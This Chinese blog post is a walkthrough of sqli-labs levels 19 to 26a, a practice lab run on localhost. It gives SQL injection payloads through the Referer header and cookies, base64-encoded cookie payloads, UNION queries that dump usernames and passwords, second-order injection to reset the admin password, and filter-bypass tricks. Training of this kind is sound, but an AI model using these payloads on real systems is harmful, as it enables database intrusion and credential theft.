uname=dumb&passwd=dumb&submit=Submit

less-19

  • 和上关差不多,上关是useragent,这关是修改referer
POST /sqli-labs-7.2/less-19/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: 1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) and '1' = '1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

uname=dumb&passwd=dumb

less-20

  • 看源码可以知道,当成功登陆一次后会存储uname到cookie,下次刷新就会直接从cookie读取uname来执行sql查询,所以我们可以对cookie进行注入,先正常登陆一次,再直接在控制台修改cookie
document.cookie="uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #"

less-21

  • 跟上关差不多,但是会先对cookie进行base64decode,所以我们对cookie注入时要先进行base64encode,cookie对换行符貌似不识别,所以转换成base64后我把换行符都删除了才能正常执行
>>> "1') and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #".encode('base64')
'MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3\nZSkpICM=\n'

document.cookie="uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM=\n"

document.cookie="uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMgbGltaXQgNywxKSwweDdlKSkgIw=="

less-22

  • 跟上关差不多一样,cookie闭合符从')变成了"
>>> "1\" and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #".encode('base64')
'MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdl\nKSkgIw==\n'

document.cookie="uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkgIw==\n"

>>> "1\" and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e)) #".encode('base64')
'MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcm5hbWUgZnJvbSB1\nc2VycyBsaW1pdCA3LDEpLDB4N2UpKSAj\n'

document.cookie="uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcm5hbWUgZnJvbSB1c2VycyBsaW1pdCA3LDEpLDB4N2UpKSAj\n"
image.png

less-23

  • 跟第一关一样的get注入,但是这里过滤了#,--+注释符,但是我们可以用or '1' = '1来闭合,首先看我们的注入点是否正确
#报错
http://localhost/sqli-labs-7.2/Less-23/?id=1'
#正常登陆
http://localhost/sqli-labs-7.2/Less-23/?id=1' and '1' = '1
#不正常登陆
http://localhost/sqli-labs-7.2/Less-23/?id=1' and '1' = '2
#爆数据库名
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
#爆数据表名
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),'3
#爆数据段
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'3
#爆数据
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(username) from users),'3

http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(password) from users),'3
  • 或者还可以用报错布尔盲注
http://localhost/sqli-labs-7.2/Less-23/?id=-1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1' = '1

less-24

  • 二次注入,先注册一个admin'#的账户然后再修改密码,这时候就会执行
UPDATE users SET PASSWORD='123' where username='admin' #' and password='$curr_pass'
  • 进而修改我们的admin账户密码,然后成功登陆

less-25

  • and,or进行了过滤,这里使用||来绕过
如何绕过or和and过滤。常见思路:
1.大小写变形 Or,OR,oR
2.编码,hex,urlencode
3.添加注释/*or*/
4.利用符号 and=&& or=||
#使用报错注入
http://localhost/sqli-labs-7.2/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select @@version),0x7e)) %23
#使用联合查询
http://localhost/sqli-labs-7.2/Less-25/?id=-1' UNION select 1,@@basedir,3 %23

less-25a

  • 跟上关差不多,但是没有报错信息了,所以只能用联合查询或者延时注入,而且这里没有闭合符
http://localhost/sqli-labs-7.2/Less-25a/?id=-1 UNION select 1,@@basedir,3 %23

less-26

  • 过滤了空格,or,and以及一些注释符号
  • 对于空格一般可以用以下绕过,但是这里是mac环境转换不了,所以只能用报错注入了
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
#使用报错注入
http://localhost/sqli-labs-7.2/Less-26/index.php?id=1'/**/||extractvalue(1,concat(0x7e,(select(group_concat((username)))from(users)),0x7e))||'1'='1

less-26a

  • 跟上关也差不多,改了闭合符,然后不显示报错信息了,用布尔盲注来做,当中间的判断条件不符合为0时,我们的查询语句就会变成select * from users where id=0即返回空表,当判断条件符合时为1,查询语句变成select * from users where id=1即返回id=1的结果
#即可以通过返回的结果来判断条件是否成立
http://localhost/sqli-labs-7.2/Less-26a?id=1'=(left(database(),1)='s')='1
  • 条件成立时回显
http://localhost/sqli-labs-7.2/Less-26a?id=1'=(left(database(),1)='a')='1
  • 条件不成立时回显
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容